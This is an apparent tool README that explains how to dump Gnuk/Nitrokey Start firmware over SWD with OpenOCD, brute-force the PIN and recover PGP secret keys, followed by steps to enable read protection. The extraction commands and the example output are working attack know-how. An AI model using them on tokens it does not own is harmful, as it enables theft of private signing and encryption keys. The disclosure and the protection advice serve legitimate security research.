Gnuk Extractor

This tool can extract the PGP secret keys from the dumped firmware of a Gnuk token. It was tested on a Nitrokey Start and on a Gnuk Token made from a $2 ST-LINK/V2 clone.

In theory, the flash memory on the Nitrokey Start should have the read protection enabled. However, this was not the case on the one I received. The next section describes how to verify if the read protection is enabled and extract the firmware if it is not. Then, this tool can be used to bruteforce the PIN and extract the PGP secret keys. Finally, the last section explains how to protect a Gnuk Token against this attack.

Extract Firmware and Unique Device ID

The Gnuk firmware and the unique device ID (UDID) can be extracted from the STM32 microcontroller through the Serial Wire Debug (SWD) interface. The following pictures show where to solder the 4 SWD wires on a Nitrokey Start and how to connect them to a cheap ST-LINK/V2 clone.

OpenOCD can then be used to dump the flash memory and read the STM32 UDID. The Gnuk token must also be connected to USB before executing the following commands.

$ openocd -f resources/stm32read.cfg
...
Info : flash size = 128kbytes
wrote 131072 bytes to file firmware.bin from flash bank 0 at offset 0x00000000 in 2.207341s (57.988 KiB/s)

$ openocd -f resources/stm32udid.cfg
...
0x1ffff7e8 34 ff 6c 06 4e 55 37 32 26 33 24 43             4.l.NU72&3$C

In the above example, the firmware was successfully extracted to firmware.bin and the STM32 UDID is 34ff6c064e55373226332443.

On devices where the read protection is correctly enabled, the output looks similar to the following one.

$ openocd -f resources/stm32read.cfg
...
Info : flash size = 128kbytes
Error: error reading to flash at address 0x08000000 at offset 0x00000000
Error: Read error

$ openocd -f resources/stm32udid.cfg
...
embedded:startup.tcl:21: Error: error reading target @ 0x00000

This means that the firmware cannot be extracted through the SWD interface and this tool cannot be used to recover the PGP secret keys.

Install in a virtualenv

git clone https://github.com/rot42/gnuk-extractor
virtualenv -p python3 venv
. ./venv/bin/activate
pip install ./gnuk-extractor

Gnuk extractor usage

usage: gnuk-extractor [-h] [-o FILE] [-d DICT] -f FW -k PUB -u UDID

Extract PGP private key from GNUK / Nitrokey Start firmware.

optional arguments:
  -h, --help            show this help message and exit
  -o FILE, --out FILE   export private key to FILE [default: stdout]
  -d DICT, --dict DICT  password dictionary

required arguments:
  -f FW, --fw FW        GNUK / Nitrokey Start firmware
  -k PUB, --key PUB     corresponding GPG public key
  -u UDID, --udid UDID  STM32 unique device ID

Example

$ gnuk-extractor -f tests/firmwares/nistp256.firmware.bin \
                 -k tests/pubkeys/nistp256.pub.key.asc \
                 -u 34ff6c064e55373226332443 | gpg --import
[INFO] Firmware unlocked with default password: b'123456'
gpg: key BD9FD171C654FBBB: public key "NIST P-256 test key <secp256r1@test.key>" imported
gpg: key BD9FD171C654FBBB: secret key imported
gpg: Total number processed: 1
gpg:               imported: 1
gpg:       secret keys read: 1
gpg:   secret keys imported: 1

$ gpg -K
/home/user/.gnupg/pubring.kbx
-----------------------------
sec   nistp256/0xBD9FD171C654FBBB 2019-04-26 [SC] [expires: 2029-04-23]
      41516C79920336EFFD758288BD9FD171C654FBBB
uid                   [ unknown] NIST P-256 test key <secp256r1@test.key>
ssb   nistp256/0x4FC05EC0115BA7C8 2019-04-26 [E] [expires: 2029-04-23]
ssb   nistp256/0x395F280AA0766B5A 2019-04-26 [A]

How to Protect a Gnuk Token

There are two options to enable the read protection on a Gnuk token.

1. It is possible to ugprade the firmware through USB. The upgrade_by_passwd.py script will enable the read protection after installing the new firmware. This will however delete the secret keys from the token, so this method can only be used if the user has a backup of their PGP secret key.

    $  python3 ./upgrade_by_passwd.py ../prebuilt/RTM.7/regnual.bin ../prebuilt/RTM.7/gnuk.bin 
    Admin password: 
    ...
    Protecting device
    Finish flashing
    Resetting device
    Update procedure finished
    ...
   

2. The read protection can also be enabled through the SWD interface. This method has the advantage of not erasing the keys currently on the token, but requires a bit of soldering. The 4 SWD wires should be connected as described above and then OpenOCD can be used to enable the read protection.

    $ openocd -f resources/stm32lock.cfg 
    ...
    Info : device id = 0x20036410
    Info : flash size = 128kbytes
    stm32x locked
    target halted due to debug-request, current mode: Thread 
    xPSR: 0x01000000 pc: 0x08000268 msp: 0x20005000